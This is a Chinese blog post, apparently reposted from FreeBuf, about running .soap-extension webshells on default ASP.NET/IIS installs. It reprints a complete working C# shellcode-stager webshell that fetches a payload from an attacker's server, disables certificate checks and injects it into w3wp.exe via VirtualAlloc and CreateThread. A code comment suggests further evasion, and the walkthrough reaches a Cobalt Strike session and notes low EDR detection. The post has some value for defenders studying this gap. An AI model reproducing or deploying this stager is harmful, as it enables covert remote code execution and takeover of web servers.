前几天看到绿盟天元实验室转发的一篇外网文章,是关于ASP.NET默认启用的文件扩展类型问题,仔细阅读文章后想在这里分享给大家。(第一次写技术文章,不合理之处多多包涵)
众所周知webshell有很多后缀类型的后门,例如php、jsp、asp、apsx等等,而文章内提到的是在默认安装的ASP.NET内,soap的扩展类型是默认开启的,这也就意味着soap后缀类型的webshell可以在默认安装的ASP.NET环境内被执行解析,而大多数Web服务器进程不需要写入soap扩展名的文件,因此有关该类型的黑名单上传规则显的微不足道。
首先启用win server2019的虚拟机,在服务器内启用web服务,在添加角色安装ASP.NET4.7,安装完成后可以查看ASP的config文件查看配置,该条表示允许soap的扩展程序在IIS执行。
<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider" />
![图片[1]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783348_62a1fd746fe9e835cc219.png!small)
![图片[2]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783350_62a1fd76e3a78e71ac3e1.png!small)
打开IIS处理程序映射可以看到默认安装下存在*.soap的扩展类型。
![图片[3]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783353_62a1fd791e16ba7a7cfa5.png!small)
![图片[4]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783359_62a1fd7f6ac0a9b58551a.png!small)
![图片[5]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783366_62a1fd86e44d9c3430962.png!small)
原文中作者测试了关于.rem文件能否解析的问题,结果是返回错误,无法解析。查看web.config发现.rem没有构建扩展程序,但是.soap有而且构建程序与.asmx相同。使用与asmx后缀webshell代码相同的soap后缀webshell进行上传。原文表示作者自己不喜欢临时造轮子,我就直接拿来文章的webshell来用了,这里先浅浅地分析一下作者写的代码。
首先声明了使用ASP引擎分析的WEB服务,之后导入windows系统库。
<%@ WebService Language="C#" class="SoapStager"%> using System; using System.IO; using System.Web; using System.Web.Services; using System.Net; using System.Net.NetworkInformation; using System.Net.Security;
然后做web服务绑定以及进行命名空间的声明,定义SoapStager类,使用MarshalByRefObject跨应用程序域传递数据。下面调用了两个windowsAPI,VirtualAlloc以及 CreateThread,VirtualAlloc就是用来申请内存空间而CreateThread用来在主线程的基础上创建一个新线程,保证在分配内存后能将下载好的shellcode移动到iis默认进程w3wp.exe的新线程。
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] public class SoapStager : MarshalByRefObject { private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
作者通过System.Net.webClient从其他web服务器中下载shellcode,分配好执行内存后将数据复制其中,以此来执行恶意代码用于获取会话。
[System.ComponentModel.ToolboxItem(false)] [WebMethod] public string loadStage() { string Url = "http://"; //你web服务器的IP或者shellcode位置 byte[] rzjUFlLZh; IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy; defaultWebProxy.Credentials = CredentialCache.DefaultCredentials; using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy }) { ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; }); webClient.UseDefaultCredentials = true; rzjUFlLZh = webClient.DownloadData(Url); } // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length); IntPtr owlqRoQI_ms = IntPtr.Zero; IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms); return "finished";//执行成功返回值 } }
原文这里是从文件上传开始测试的,我省去了上传的步骤,直接放到目标站点里解析执行。
![图片[6]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783370_62a1fd8ac9fda42cb71b1.png!small)
访问目标站点,直奔文件路径。
![图片[7]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783374_62a1fd8e11b11e58b13a8.png!small)
打开burpsuite,在WSDL下抓包。
![图片[8]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783374_62a1fd8eab5799e06225f.png!small)
这里我用了burpsuite的Wsdler扩展,可以直接转到解析后的页面。
![图片[9]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783375_62a1fd8f5be67b63f1d13.png!small)
使用repeater测试,查看响应包,200成功返回,说明执行成功。
![图片[10]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783377_62a1fd914fe6af5f4fc25.png!small)
现在查看cs,目标已经上线,在w3wp.exe内做进程注入,成功建立会话。
![图片[11]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783379_62a1fd93d16332c5c853f.png!small)
![图片[12]-IIS下的soap类webshell-NGC660 安全实验室](https://image.3001.net/images/20220609/1654783380_62a1fd9414356ab3e3707.png!small)
文章最后作者使用了一些edr进行测试,但是检测率非常低,说明很多主机防护设备缺少关于soap文件的检测规则。
谢谢大家浏览我的博客,作者小白一个,如果您觉得我写的比较垃,当个乐子看就行。
原文地址:https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
(友情提示需要FQ哦)
本文作者:佛楠, 转载请注明来自FreeBuf.COM
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下